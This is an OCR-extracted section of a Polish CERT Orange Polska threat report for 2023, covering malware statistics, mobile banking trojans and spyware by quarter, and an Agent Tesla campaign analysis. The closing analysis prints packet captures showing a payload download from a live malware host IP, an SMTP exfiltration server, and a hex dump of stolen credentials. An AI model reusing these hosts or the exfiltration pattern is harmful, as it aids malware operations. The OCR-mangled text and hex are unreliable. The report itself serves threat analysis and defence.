
w rozktadzie procentowym

Stealers

10T Botnets
RAT

Loaders
Bankers
Ransomware

TOPS5 stealerow

w rozkfadzie procentowym

Stealers

10T Botnets
RAT

Loaders
Bankers
Ransomware

TOP5 trojandw (nie tylko)
bankowych

w rozktadzie procentowym

Quakbot
Ursnif
IcedID
Danabot
Pikabot
Inne

EEEEN

TOP5 RAT-ow

w rozktadzie procentowym

Agent Tesla
RemcosRAT
njrat
AsyncRAT
dcRAT

Inne
[ |
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Zagrozenia wykrywane w sieci
Orange na przestrzeni ostatniego roku

Ztosliwe oprogramowanie
w sieci mobilnej

W roku 2023 urzgdzenia mobilne wcigz sg kuszagcym

celem dla hakeréw, zarbwno w operacjach kradziezy danych,
jak i do przejmowania zdalnej kontroli nad urzgdzeniem.

Za cel brane sg coraz bardziej popularne, szeroko

stosowane aplikacje, ktére uzytkownicy uwazajg za bezpieczne.
Coraz czesciej odkrywane i publikowane sg tez nowe podatnosci
w systemach Android i iOS, ktdre stwarzajg nowa powierzchnie
do ataku dla operujgcych w przestrzeni urzgdzen mobilnych,
aktoréw zagrozen. To wazne przypomnienie, ze wiekszos¢
urzadzen mobilnych wcigz jest niewystarczajgco chroniona,
pomimo przechowywanych w nich wrazliwych danych
osobistych i stuzbowych.
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Pierwszy kwartat 2023

Poczatek 2023 roku przywitat nas duzg kampanig trojana
bankowego — Hydra. W kampaniach phishingowych
rozsytanych poczta, przestepcy podszyli sie pod aplikacje
banku Santander, sktaniajgc uzytkownika do instalacji
umieszczonego w linku narzedzia pod pozorem aktualizaciji
niezbednych poprawek bezpieczenstwa. Instalacja Hydry,
wymaga od uzytkownika wyrazenia zgody na liczne podwyzszone
uprawnienia, ktérych aplikacja wymaga do uruchomienia,
jednak z uwagi na to, ze kazda instalacja wyzwala podobny
komunikat, mamy tendencje do lekcewazenia i nie czytania
zawartosci takich powiadomien. Sama Hydra to trojan bankowy
wykonujacy tzw. Injecty (wstrzykniecia ztosliwego kodu), ktére
polegaja na podmianie aplikacji bankowej (lub innej, jesli
przestepcy uwzglednili jg w swojej konfiguracji) na fatszywa
naktadke logowania przygotowang przez przestepcéw.
Naktadka ta posredniczy w procesie uwierzytelnienia

do autentycznej aplikacji bankowej zdobywajgc tym
poswiadczenia do banku klienta. W obserwowanej przez

nas kampanii Hydry, przygotowane naktadki oprécz bankéw
zawieraly rowniez szablony kradziezy PIN i haset z telefondw
marki Huaweii i Samsung. Warto tez zwroci¢ uwage na rzadko
spotykang funkcjonalnos$¢ Device Take-Over (DTO), sprawiajgca,
ze przestepcy moga zdalnie wyswietli¢ graficzny interfejs
uzytkownika i wej$é z nim w interakcje.

Na przetomie stycznia i lutego na rynek trafita z kolei kolejna
rodzina bankera, sprzedawana na forach darkwebowych jako
Hookbot. Dzieki szczegotowej analizie przeprowadzonej przez
zespdt CSIRT KNF badacze bezpieczenstwa mogli zapoznaé
sie z funkcjonalno$ciami ztosliwego narzedzia jeszcze zanim
wieksze kampanie przy uzyciu tego malware’u zagoscity

w polskim krajobrazie atakéw na urzgdzenia mobilne.

Hookbot to kolejna odmiana popularnego bankera — Ermaca,
na ktérego kodzie zrédtowym budowane byty juz wczesniej
odrebne wersje nowych zagrozen. W tym wypadku sytuacja
jest jednak inna, jako ze autorem Hookbota jest tez pierwotny
twodrca Ermaca o pseudonimie DukeEugene. Prawdopodobnie
decyzja o wprowadzeniu nowego narzedzia, zamiast rozwijania
starego, wynikata z potrzeby wyraznego rozdzielenia
funkcjonalnosci trojana bankowego realizowanych przez
Ermaca od znacznie bogatszego w opcje i mozliwosci, Hooka.
Jedna z réznic jest wprowadzenie narzedzia VNC pozwalajgcego
na petne przejecie zdalnego dostepu do urzadzenia, co otwiera
mozliwosci malware’u na nowe tarcuchy infekcji. Malware jest
zdolny do wykonywania szerokiej gamy operacji na urzadzeniu,
poczawszy od symulowania kliknie¢, poprzez wypetianie pdl
tekstowych, az po wykonywanie gestow. Dodatkowo Hook
jest wyposazony w narzedzia do kradziezy i eksfiltracji plikdw,
obrazdw i innych przechowywanych na telefonie danych.

Na podstawie otrzymanego parametru, malware albo

przesyta serwerowi peing liste plikdw dostepnych

na urzadzeniu, albo pobiera okreslony plik z systemu.

Co wiecej Hook nie musi ingerowa¢ w polecenia powtoki,

ale po prostu korzysta z dostepnych interfejséw APl systemu
operacyjnego Androida, dzieki uprawnieniom do Ustugi
dostepnosci nadanym podczas instalacji. DukeEugene
wyposazyt swéj produkt takze w zdolnos¢ do monitorowania
aplikacji spotecznosciowej WhatsApp, pozwalajgcg Hookowi
na logowanie i wysytanie wiadomosci za posrednictwem tej
aplikacji w celu rozprzestrzeniania sie dalej. Na koniec Hook
posiada takze zdolno$¢ do aktywnego $ledzenia geolokalizaciji
urzadzenia, pozwalajac przestepcom otrzymywaé wspofrzedne
ofiary w dowolnym momencie. Te nowe funkcje przenosza
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te rodzine malware w strefe, gdzie réznica miedzy
oprogramowaniem typu spyware, RAT, a trojanem bankowym
staje sie coraz bardziej zatarta i mniej oczywista.

Inng wartg odnotowania kampania zidentyfikowana przez
zespdt CERT Orange w pierwszym kwartale 2023 sg proby
infekcji uzytkownikdéw z wykorzystaniem fatszywych reklam
promowanych na Facebooku. W prezentowanych reklamach,
przestepcy podszywali sie pod aplikacje randkowa — Tindera,
wykorzystujgc do tego autentyczny spot reklamowy korporacji.
Interakcja z reklamg proponuje bezptatng aktywacje
oprogramowania z korzystnymi dla uzytkownika funkcjami
co skutkuje instalacjg innego trojana bankowego — S.O.V.A.
SOVA oprécz operowania na naktadkach w celu kradziezy
poswiadczen do bankéw i aplikacji pozwala tez m.in.

na usuwanie i instalowanie innych aplikacji w telefonie,
pobieranie listy kontaktow i ciasteczek sesji, a takze odczyt
czy wysytanie wiadomosci SMS.

Drugi kwartat 2023

W sieci Orange, regularnie od kilku kwartatéw identyfikujemy
przyrost aktywnosci zagrozen z kategorii spyware.
Oprogramowanie typu spyware jest uzywane do szpiegowania
ofiar w celu wydobywania osobistych informacji, takich

jak wiadomosci, zdjecia, lokalizacja czy dane logowania.
Najbardziej powszechnym malwarem z tej rodziny pozostaje
SpyNote aka Spymax, ktore od poczatku roku zaczeto zalewaé
legalne sklepy takie jak Google Play, aplikacjami podszywajacymi
sie pod legalne narzedzia, jednak jego szczytowa aktywnosc
przypadta w sieci Orange na okres drugiego kwartatu 2023.
Gtéwne funkcje SpyNote obejmujg wykorzystanie API aparatu
do nagrywania i wysytania filméw z urzadzenia na serwer

C2, namierzanie geolokalizacji po GPS, kradziez po$wiadczen
do serwiséw takich jak Facebook i Google, kradziez kodéw 2FA
z aplikacji Google Authenticator czy rejestrowanie poswiadczen
wprowadzanych do aplikacji bankowych.

Aby ukry¢ swoje ztosliwe oprogramowanie przed narzedziami
bezpieczenstwa, SpyNote stosuja techniki zaciemnienia kodu,

a takze wykorzystujg kryptery i loadery do pakowania swojego
kodu w rekompilowane aplikacje. Ponadto, wszystkie informacje
eksfiltrowane z SpyNote do jego serwera C2 sg obfuskowane
przy uzyciu base64. W drugim kwartale badacze bezpieczenstwa
firmy Dr.Web wykryli zto$liwe oprogramowanie dystrybutowane
w narzedziu SDK przez firme OKSpin. Czym jest SDK?

To skér od Software Development Kit, czyli zestaw narzedzi
deweloperskich, ktére moga by¢ zintegrowane z aplikacjg
mobilng, dajgc mozliwos¢ twdrcom oprogramowania na zbieranie
danych z aktywnosci uzytkownikdw, dostarczaniu mu
spersonalizowanych reklam i tresci oraz realizowaniu innych
strategii marketingowych. SpinOK, bo tak zostat nazwany

ten malware, realizowat ponadto funkcje typowe dla
oprogramowania spyware, a zatem pozyskiwat dostep i wykradat
dane przechowywane na urzadzeniu mobilnym czy w zawartosci
schowka. Oprdcz tego posiadat funkcje identyfikacji Srodowiska
emulacji (wykorzystywanego przez badaczy bezpieczenstwa

w analizie ztosliwego oprogramowania), poprzez zbieranie
danych z zyroskopu. Przyktad SpinOk stanowi przestroge

dla programistéw aplikaciji, podkreslajac ryzyko zwigzane

z pochopnym i nieswiadomym integrowaniem technologii
zewnetrznych z wtasnym oprogramowaniem co moze nie tylko
doprowadzi¢ do strat wizerunkowych, ale takze powaznych
reperkusji finansowych i prawnych.

Zwiekszona aktywnosc¢ spyware przeplotta sie ze znaczacym
zmniejszeniem udziatu zagrozen z kategorii SMS Trojandw.
Malware z tej kategorii subskrybuje telefon do ustug premium
rozsytajac SMS-y bez swiadomosci koncowego uzytkownika.
Najczesciej spotykanym zagrozeniem SMS Trojan w sieci Orange
w dalszym ciggu pozostaje SMSFactory, jednak jego aktywnos$¢
znaczgco zmniejszyta sie od poczatku 2023 roku (0 41%).

Trzeci kwartat 2023

Trzeci kwartat rozpoczeliSémy od ciekawej kampanii podszy¢
pod aplikacje IKO, wymierzona w klientéw banku PKO.
Przestepcy rozsytali SMS-y z powiadomieniem o koniecznosci
aktualizacji aplikacji. Link we wiadomosci prowadzit do
podstawionej strony, z ktérej nastepowata instalacja ztosliwego
oprogramowania, ktére jednak faktycznym oprogramowaniem
nie byto. W rzeczywistos$ci na urzadzeniu ofiary zostat utworzony
skrét do aplikacji webowej opartej na Chromium z ikonkg
wygladajaca jak oryginalna aplikacja IKO, ktéra funkcjonuje

w identyczny sposob jak wyludzajaca poswiadczenia strona
phishingowa z tg jednak réznicg, ze gdy ja otwieramy nie
wyswietla sie nam pasek URL, a uzytkownik moze by¢
przekonany o obcowaniu z legalna aplikacja. Metoda
wykorzystana w ataku rézni sie nazwa w zaleznosci od systemu
operacyjnego ofiary (dla Androiddéw — WebAPK, a dla
uzytkownikow i0OS - PWA).

W trzecim kwartale zarejestrowali$my tez aktywnos$¢ dwéch
kolejnych, nie obserwowanych wczesniej w sieci Orange
zagrozen — trojana Godfather i wyposazonego w funkcje
szyfrowania — DAAM. Godfather zostat opracowany przy uzyciu
kodu Zrédtowego innego trojana bankowego o nazwie Anubis.
Godfather rézni sie od Anubisa zaktualizowana komunikacja

z serwerem zarzgdzania (C2), algorytmem szyfrowania ruchu,
nowym modutem do zarzadzania potgczeniami VNC oraz
mozliwoscig kradziezy jednorazowych haset OTP (One Time
Password) z aplikacji Google Authenticator. Godfather jest
rozprowadzany za posrednictwem fatszywych aplikaciji
umieszczanych w Google Play. Po zainstalowaniu malware
tworzy przypiete powiadomienie i ukrywa swoja ikone z listy
zainstalowanych aplikacji. Najciekawszym komponentem
DAAM jest modut dynamicznego uruchamiania kodu przez
wykorzystanie biblioteki DexClassLoader, pobiera on z serwera
C2 metode, nazwe klasy i adres URL, ktérego moze uzy¢,

aby pobrac¢ i uruchomic inne oprogramowanie na urzgdzeniu
mobilnym. DAAM posiada tez modut ransomware,
wykorzystujgcy algorytm AES do szyfrowania i deszyfrowania
plikow. Ztosliwe oprogramowanie wykorzystuje tez ustuge
Dostepnosci do monitorowania komponentéw aplikacji mediéw
spotecznosciowych, takich jak WhatsApp, Skype, Telegram

i innych komunikatoréw realizujgcych potgczenia VOIP. Jesli
uzytkownik korzysta z ponizszych komponentéw, malware
rozpoczyna nagrywanie dzwieku. Moze takze pobiera¢ zaktadki
i historie przegladania, a takze kontakty, wiadomosci SMS,
dzienniki potgczen, pliki, podstawowe informacje o urzadzeniu
i dane lokalizacyjne. Co wiecej, DAAM moze pobra¢ adres
URL phishingowy od serwera c2, a nastepnie zatadowaé go
do komponentu WebView, aby wystawi¢ uzytkownikowi panel
phishingowy w celu kradziezy poswiadczen.

Pod koniec sierpnia badacze z grupy ESET opublikowali
informacje o szeroko zakrojonej aktywnosci spyware
skierowanej na rynek europejski. Ztosliwe oprogramowanie
ukrywato sie w sklepie Google Play i Samsung Galaxy Store,
ale bylo tez identyfikowane na zewnetrznych serwisach

reklamujace je jako nowe, ulepszone wersje znanych
komunikatoréw. Pod Signala podszywat sie Signal Plus Messenger,
a pod Telegrama — Flygram. BadBazaar - tak nazywato sie
oprogramowanie szpiegowskie osadzone w aplikacjach jest
powigzane z chinska grupa APT o akronimie GREF. FlyGram
mogt dostawaé sie od kopii ustawien Telegrama, ale bez
mozliwosci odczytu samych wiadomosci. Miat jednak
funkcjonalnos¢ zbierania danych o kontach Google, liscie
kontaktow czy informacjach o przychodzacych i wychodzacych
potgczeniach. Signal Plus Messenger mogt szpiegowac jeszcze
efektywniej, bo w przeciwienstwie do Flygrama, mégt
przegladac tre$¢ konwersacji z Signala, wykorzystujac do tego
synchronizacje aplikacji mobilnej z klientem desktopowym.
Klient desktopowy byt instalowany na infrastrukturze
przestepcédw, a synchronizacja konta, ktéra wymagata uzycia
kodu QR, odbywata sie w tle na przejetym urzadzeniu mobilnym,
bez wiedzy uzytkownika. Do przechwytywania komunikaciji
sieciowej atakujgcy wykorzystali podstawione serwery proxy,
do ktérych rejestrowalismy (i blokowali$my) komunikacje sieciowa,
nawet pomimo usuniecia skompromitowanych aplikaciji

ze sklepdw Galaxy Store i Google Play.

Czwarty kwartat 2023

Po raz pierwszy zauwazony na poczatku 2023 roku,
bankowy trojan Chameleon, zostat odkryty przez badaczy
firmy ThreatFabric. Wykazywat on wyrazna zdolnos¢
manipulowania urzadzeniem ofiary, wykonujac

dziatania w jej imieniu poprzez funkcje proxy.

Funkcja ta umozliwia realizowanie operacji tj. przejecie konta
(Account TakeOver) i przejecie urzadzenia (Device TakeOver).
Wczesniejsza wersja trojana Chameleon wykorzystywata
réznorodne metody dystrybucji, ale najczestszym wektorem
byty strony phishingowe podszywajace sie pod znane aplikacje
(np. Chrome lubChatGPT) z linkiem do pliku dostarczanym

z wykorzystywaniem legalnej sieci dystrybuciji tresci (CDN)

na serwerach Discorda. Pomimo duzej liczby polskich aplikaciji
bankowych uwzglednionych w konfiguracji, dopiero w drugiej
potowie roku zaobserwowali$my wyrazny wzrost aktywnosci
oprogramowania w sieci Orange, zwtaszcza w ostatnim kwartale
roku. Natozyto sie to tez na pojawienie nowej wersji ztosliwej
aplikaciji, ktéra wyrdznity dwie ciekawe funkcje, niespotykane
zbyt czesto w konkurencyjnych trojanach bankowych:

»  Gdy odkryta wersja Chameleona wykryje instalacje na
urzadzeniu opartym na Androidzie 13 z natozonymi
ograniczeniami dotyczacymi aplikacji, reaguje
automatycznie: malware wyswietla podstawiong strone
HTML, zachecajgc uzytkownikdéw do wigczenia ustugi
Dostepnosé. Ten krok jest niezwykle istotny dla dziatania
malware’u, poniewaz bazuje on na tej ustudze do
skutecznego przeprowadzenia atakéw DTO.

= Chameleon wykorzystuje interfejs API KeyguardManager
oraz AccessibilityEvent do oceny stanu ekranu i blokady.
Spetniajgc okreslone warunki, ztosliwe oprogramowanie
wykorzystuje dziatanie AccessibilityEvent do przejscia
z uwierzytelniania biometrycznego na uwierzytelnianie PIN.
To omija biometryczny monit, pozwalajac trojanowi na
odblokowanie urzadzenia.

W pazdzierniku 2023 zespét CERT Orange ostrzegat przed
aplikacjami na Android OS, ktdre po zainstalowaniu na
urzadzeniu ofiary inicjowaty potgczenia na numery do krajow
spoza UE, nabijajac rachunek uzytkownika na niematg kwote.
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W tym celu aplikacja wykorzystywata momenty nieaktywnosci
telefonu w godzinach nocnych, a po wykonaniu potgczen
kasowata wszystkie swoje operacje. Co istotne nie zostawiata
przy tym niepokojgcego $ladu, ktdéry mégt wskazywaé na
podejrzang aktywnos$é w telefonie uzytkownika. Ataki typu IRSF
(International Revenue Share Fraud) nie sg zjawiskiem nowym

i stanowig dochodowy proceder. W ramach naszej analizy,
zidentyfikowalismy blisko 30 urzadzen (smartfondw, tabletéw

i przystawek Android TV), podatnych na infekcje, a gléwna

Najczesciej wystepujace
zlosliwe oprogramowanie

cechg wspding dla wszystkich tych urzadzen byto wykorzystanie
starej wersji systemu operacyjnego Android (od wypuszczenia
na rynek najnowszej atakowanej wersji Android 8.1 mineto

juz 6 lat). Cho¢ w badanych przez nas przypadkach

nie zidentyfikowali$my takiej aktywnosci, takie urzgdzenia
moga by¢ wykorzystane w dystrybucji ztosliwych kampanii
SMS, generowania dochoddw z reklam czy choc¢by oszustw
reklamowych w modelu PayPerClick.

Rodzaje zagrozen
w sieci mobilnej

w sieci mobilnej w 2023 roku wykrywane w 2023 roku

w rozktadzie procentowym

w rozktadzie procentowym

DY
HiddenAd o
Hook °
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Podsumowanie

Rok 2023 nie przyniost wyraznych zmian w krajobrazie
zagrozen mobilnych. W stosunku do roku 2022
zaobserwowali$my nieznaczny spadek (0 2%) catkowitej

liczby ztosliwej aktywnosci. Zagrozenia z kategorii Hiddenapps
i Adware z duzg przewaga utrzymujg swojg dominacje jako
podstawowe Zrddto dochoddw z przestepczosci na rynku
mobilnym. Celem takiego oprogramowania jest zarabianie

na wyswietlaniu niechcianych reklam koncowym uzytkownikom.
HiddenAds pozostaje najpopularniejszym przedstawicielem
tej rodziny, potrafigc ukrywac swoja ikone tak aby nie zostac
wykrytym na liscie zainstalowanych na telefonie aplikacii.

Najistotniejszy przyrost w roku 2023 zaliczyto
oprogramowanie szpiegowskie (spyware), wykradajace
rézne wrazliwe dane z urzadzen swoich ofiar w celu

wprowadzenia ich na rynek cyberprzestepcow. W poréwnaniu
do roku ubiegtego odnotowaliSmy wzrost o blisko 40%.

Spadek zanotowaty natomiast zagrozenia bankowe pomimo
regularnie pojawiajgcych sie w sieci Orange nowych

lub od$wiezonych wersji znanych zagrozen, wyposazonych

w bardziej zaawansowane funkcje i techniki unikania wykrycia.
Powodem tego moze by¢ znaczacy spadek kampanii

CERT Orange Polska

HiddenApps & Adware

Bankers

Spyware

Cryptominers

Remote Access Tools

Ransomware

smishingowych ukierunkowanych na Polske, rozprowadzajacych
ztosliwe oprogramowanie. Gtownym wektorem infekcji okazaty
sie kampanie malvertismentowe, w tym te inicjowane przez
reklamy z serwisdw spotecznosciowych, takich jak Facebook
lub podszycia pod legalne aplikacje w sklepie Google Play.

Pomimo ze rok 2023 nie stanowit przetomu dla sektora
mobilnego, na forach darkwebowych i kanatach Telegram stale
ro$nie liczba nielegalnych ustug, oferujgcych rozwigzania
wymierzone przeciwko urzgdzeniom mobilnym takie, jak
»dropper-as-a-service” i ,,Google Play Loader”. Te ustugi beda
coraz bardziej kluczowe w dystrybucji ztosliwego oprogramowania
na platforme Android, dostarczajac operatorom gotowych
narzedzi, w ktére wystarczy opakowac¢ swoje ztosliwe
oprogramowanie bez koniecznosci przygotowania kampanii
poczgtkowej. Rosnie jednoczesnie liczba zagrozen
wykorzystujacych coraz bardziej zaawansowane techniki

w celu unikania wykrycia przez narzedzia bezpieczenstwa.
Oba te trendy wskazuja, ze w niedalekiej przysztosci mozemy
by¢ swiadkami zupetnie nowych i bardziej skomplikowanych
tancuchow atakow przeprowadzanych na urzadzenia mobilne.

Piotr Kowalczyk

2023 - rokiem Agent Tesla

Smiato mozna powiedzieé, ze rok 2023, jesli chodzi
cyberzagrozenia w Polsce, nalezat do malware’a Agent Tesla.
Byto to jedno z najbardziej popularnych i dominujacych
zagrozen pod wzgledem wiadomosci phishingowych

w skrzynkach polskich internautow.

Czym jest Agent Tesla ?

Agent Tesla to ztosliwe narzedzie, okreslane jako RAT (Remote
Access Trojan), ktére umozliwia cyberprzestepcy zdalny
dostep do zainfekowanego komputera. Po raz pierwszy zostat
wykryty w 2014 roku. Poczatkowo miat bardzo ubogie
funkcije, lecz po wielu latach rozbudowy kodu i pomystéw
tworcow ostatecznie stat sie jednym z bardzo popularnych
ztosliwych oprogramowarn na rynku cyberprzestepcéw.

Obecna wersja Tesli jest w stanie w petni szpiegowac
system ofiary, przechwytywa¢ poufne dane
uwierzytelniajace, a takze dziatania uzytkownika

poprzez nagrywanie jego ekranu. Dodatkowo dysponuje
funkcja keyloggera, umozliwia tez kradziez danych
uwierzytelniajacych z przegladarek i klientéw pocztowych.
Co ciekawe, ma mozliwo$¢ wyodrebniania danych

z duzej liczby przegladarek i klientéw poczty.

Jedna z najciekawszych rzeczy wbudowanych w kod Agent
Tesla sg moduly eksfiltracji danych, czy raczej uzywane przy
nich techniki. AgentTesla wykorzystuje do wykradania danych
popularne protokoty jak SMTP i FTP, a takze APl komunikatora
Telegram. Dlaczego takie? To standardowe porty, niewzbudzajace
podejrzen w ruchu sieciowym. RAT-y w wiekszosci komunikuja
sie na niestandardowych numerach portow TCP.

Historia Agent Tesla

Tworcy Agenta Tesla w 2017 roku udostepnili swoje
oprogramowanie jako Malware-as-a-Service. Z poczatku
strona byta dostepna w publicznym internecie natomiast
obecnie jest jedynie w sieci DarkNet.

Z danych raportu Spam House za 2020 rok wynika,

ze wzrost wiadomosci spamowych z zatgcznikiem Agenta
Tesla siegnat 772% w odniesieniu do innych znanych stealerow
(oprogramowanie wykradajace hasta i loginy uzytkownikéw)

i znacznie wysunat sie on na prowadzenie. To naprawde
gigantyczny poziom!

Agent Tesla zostat takze wykorzystany podczas pandemii
koronawirusa na poczatku marca 2020. E-mail wraz
zatgcznikiem o nazwie ,,COVID 19_List_cities_names.xlam”
miat na celu wykorzystanie obaw, zwigzanych z szerzaca sie
pandemig. Rzekomo miat on zawiera¢ komunikat z listg miast
dotknietych wirusem zarébwno w Ameryce, jak i w Europie.

W kampanii tej zostat wykorzystany btad w Microsoft Equation
Editor CVE-2017-11882. Edytor rownan to funkcja pakietu
Microsoft Office, umozliwiajgca uzytkownikowi osadzenie
réwnania matematycznego lub formuty w dowolnym
dokumencie biurowym.

Btad probowat w pierwszej kolejnosci pobrac
GuLoadera (kompaktowe oprogramowanie napisane
w jezyku Visual Basic, ktére ma na celu pobranie,

odszyfrowanie oraz uruchomienie pliku binarnego
z danego serwera). W kolejnym kroku GuLoader pobierat
juz Agenta Tesla.

Opisywany malware byt tez wykorzystywany podczas
poczatkdw konfliktu rosyjsko-ukrairskiego w 2022 roku.
Wykorzystujac obawy zwigzane z wojng, oszusci wysytali
zatacznik ZIP z rzekoma ankietg do wypetnienia w celu pomocy
klientom w opracowaniu planéw tworzenia kopii zapasowych.
Wiekszo$¢ wiadomosci phishingowych w tej kampanii
pochodzita z Holandii, podczas gdy cele znajdowaly sie

w Czechach, Korei Potudniowej, Niemczech, Wielkiej Brytanii
oraz Stanach Zjednoczonych.

Agent Tesla w Orange Polska

Pierwsza kampanie Agent Tesla CERT Orange Polska
zauwazyt w polskiej cyberprzestrzeni 12 kwietnia 2023.

Tre$¢ wiadomosci e-mail wygladata nastepujaco:

»Dzien dobry, Prosze o potwierdzenie realizacji zataczonego
zamowienia (...)".
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Po jego rozpakowaniu otrzymywali$my plik binarny o nazwie
+ZAMDOST_210-ZT-2023_Oryginat_4_pdf.exe”
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Analizujgc plik, wydobylismy informacije, w jaki sposéb

i gdzie Agent Tesla wykrada dane z zainfekowanych
komputeréw polskich uzytkownikéw.

Najpierw uruchamiany byt plik o nazwie
~ZAMDOST_210-ZT-2023_Oryginat_4_pdf.exe”, czyli dropper.

Nastepnie pobierat docelowe ztosliwe oprogramowanie.

> Frame 11: 134 bytes on wire (1072 bits), 134 bytes captured (1072 bits) on interface intf®, id @
> Ethernet II, Src: 5e:ad:18:91:91:82 (5e:ad:18:91:91:82), Dst: b2:cd:3c:52:4a:7@ (b2:cd:3c:52:4a:70@)
> Internet Protocol Version 4, Src: 10.127.0.23, Dst: 103.228.36.104
Transmission Control Protocol, Src Port: 49699, Dst Port: 80, Seq: 1, Ack: 1, Len: 80
+ Hypertext Transfer Protocol
v GET /ultron/Vgxhr.mpd HTTP/1.1\r\n
[Expert Info (Chat/Sequence): GET /ultron/Vgxhr.mpd HTTP/1.1\r\n]
Request Method: GET
Request URL: /ultron/Vgxhr.mpd
Request Version: HTTP/1.1
Host: 103.228.36.104\r\n
Connection: Keep-Alive\r\n
\r\n
Full request URI: http://103.228.36.164/ultron/Vgxhr.mpd
[HTTP request 1/1]
Response in frame: 386

b2 cd 3c 52 4a 70 5e ad 18 91 91 82 08 00 45 00 <RJIp~- ------E
00 78 13 6e 40 @0 80 86 50 30 0a 7f 00 17 67 ed x-n@--- PO----g

20 24 68 c2 23 0@ 50 85 c2 72 e9 d2 ff 43 20 50 18 $h-#P-- r---CP
9030 01 00 d1 31 00 @0 47 45 54 20 PASEN TNy EERN/ultro
0040 [TRPASCToNCY Ry I RIS I CREY! 20 48 54 54 50 WALSGU Y] HTTP
2f 31 2e 31 od @a 48 6f 73 74 3a 20 31 30 33 2e /1.1--Ho st: 1@3.
32 32 38 2e 33 36 2e 31 30 34 0d ©Oa 43 6f 6e 6e 228.36.1 04--Conn
65 63 74 69 6 6e 3a 20 4b 65 65 70 2d 41 6¢ 69 ection: Keep-Ali
1080 76 65 od Pa od @a ve .

0

Docelowy Agent Tesla pobierany byt w postaci pliku
o nazwie ,,Vgxhr.mp4” z serwera o adresie 103.228.36.104.

Po szczegotowym przeanalizowaniu prébki z sekcji kodu
nalezgcej do konfiguracji malware wydobyto dane serwera
Command&Control botnetu. Agent Tesla wykorzystywat

w tym przypadku jeden ze swoich trzech kanatow eksfiltracji
danych: protokét SMTP. Simple Mail Transfer Protocol to
protokdt TCP/IP uzywany przy wysytaniu i odbieraniu poczty
elektronicznej. Dzieki niemu malware swobodnie wysytat
wykradzione hasta i loginy do botmastera, wykorzystujac
przy tym serwer smtp.mailbuilderbuilder.com.

Se ad 18 91 91 82 b2 cd 3c 52 4a 70 08 00 45 48 <RJp--EH
00 52 70 d4 40 00 37 06 5b 05 22 9a 4a 55 @a 7T Rp-@-7- [-"-JU
00 17 02 4b c2 37 e4 8a f0 d4 f9 69 la 15 50 18 K-7 i--P
@1 ff 85 53 00 00 32 32 30 20 [SMHRCENTCYRyE S--22 0 [EFLI
69 6c 64 65 72 62 75 69 6¢c 64 65 72 2e 63 6f 6d ilderbui lder.com
20 45 53 4d 54 50 20 50 6f 73 74 66 69 73J:LN-E] ESMTP P ostfixQH
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Ponizej zrzut ruchu sieciowego, wskazujgcy zawarto$é
wysytanej wiadomosci z zainfekowanego komputera
uzytkownika w postaci zatgcznika - pliku EML PW_Admin.eml.

4d 49 4d 45 2d 56 65 72 73 69 6f 6e 3a 20 31 2e  MIME-Ver sion: 1.
30 od @a 46 72 6f 6d 3a 20 61 2e 72 6f 74 74 61 ©--From: s
40 69 72 6f 6e 6f 72 65 2e 69 74 ed 0a 54 6f 3a Cllre .it -To:
20 73 68 65 6d 2e 66 75 6a 69 77 40 67 6d 78 2e shem.fu jiw@gmx.
63 6f 6d @d @a 44 61 74 65 3a 20 34 20 44 65 63 com--Dat e: 4 Dec
20 32 30 32 33 20 31 33 3a 35 36 3a 35 32 20 2b 2023 13 :56:52 +
30 30 30 30 @d 0a 53 75 62 6a 65 63 74 3a 20 50 0000 - -Su bject: P
57 5f 41 64 6d 69 6e 2f 51 54 59 5@ 41 42 57 46  W_Admin/ QTYPABWF
@d @a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 Conten t-Type:

74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73  text/htm 1; chars
65 74 3d 75 73 2d 61 73 63 69 69 Od @a 43 6f 6e  et=us-as cii:-Con
74 65 6e 74 2d 54 72 61 6e 73 66 65 72 2d 45 6e  tent-Tra nsfer-En
63 6f 64 69 6e 67 3a 2@ 71 75 6f 74 65 64 2d 78 coding: quoted-p
72 69 6e 74 61 62 6c 65 ©d Pa @d @a rintable

Jak wida¢ po doktadnej analizie zawartosci pliku PW_Admin.
eml, Agent Tesla wykradat loginy i hasta z komputera ofiary
(w tym nazwe komputera, dane systemu operacyjnego,
informacje o procesorze, pamieci RAM etc.).

= - BWF<br>0
61 6d 65 3a 28 4d 69 63 72 6f SFullNam e: Micro
69 6e 64 6f 77 73 20 31 30 20 soft Win dows 1@
3e 43 50 55 3a 20 31 32 74 68 Pro<br>C PU: 12th
@d @a 49 be 74 65 6c 28 52 29 Gen =-- Intel(R)
54 4d 29 20 69 35 2d 31 32 34 Core(TM ) i5-124
52 41 4d 3a 20 38 31 39 32 20 ee<br>RA M: 8192
49 50 20 41 64 64 72 65 73 73 MB<br>IP Address
36 31 2e 3d 0d @a 37 31 2e 35 : 154.61 .=--71.5
68 72 3e 48 6f 73 74 3a 20 68 0<br><hr >Host: h
2f 73 69 67 be 69 be 2e 65 62 ttps://s ignin.eb
2f 77 73 2f 65 62 61 79 69 73 ay.com/w s/ebayis
6c 3¢ 62 72 3e 55 73 3d @d @a api.dll< br>Us=
3a 20 63 75 63 6b 40 67 6d 61 ername: cuck@gma
3c 62 72 3e 50 61 73 73 77 6f il.com<b r>Passwo
63 6b 70 61 73 73 31 32 33 3c rd: cuck pass123<
6c 69 63 61 74 69 6 6e 3a 20 br>Appli cation:
45 64 67 65 3c 62 72 3e 3c 68 I=--E/Ed ge<bri<h
3a 20 68 74 74 78 73 3a 2f 2f  r>Host: https://
72 2e 63 6f 6d 2f 3c 62 72 3e twitter. com/<br>
6d 65 3a 20 63 75 63 6b 40 67 Username : cuck@g
od @a 63 6f 6d 3c 62 72 3e 50 mail.=-- com<br>P
64 3a 20 63 75 63 6b 70 61 73 assword: cuckpas
72 3e 41 70 70 6c 62 63 61 74  s123<br> Applicat
45 2f 45 64 67 65 3c 62 72 3e ion: IE/ Edge<br>
73 74 3a 3d ©d @a 20 68 74 74 <hr>Host :=-- htt
6f 67 69 6e 2e 6c 69 76 65 2e ps://log in.live.
72 3e 55 73 65 72 6e 61 6d 65 com/<br> Username
40 6c 69 76 65 2e 63 6f 6d 3c : cuck@l ive.com<
73 77 6f 72 64 3a 20 3d @d @a br>Passw ord: =
73 73 31 32 33 3c 62 72 3e 41 cuckpass 123<br>A
74 69 6f be 3a 20 49 45 2f 45 pplicati on: IE/E
3e 3c 68 72 3e 48 6f 73 74 3a  dge<br>< hriHost:
3a 2f 2f 6c 6Ff 67 69 be 2e 61 https:/ /login.a
78 7@ 72 65 73 73 2e 63 6f 6d 1=--iexp ress.com
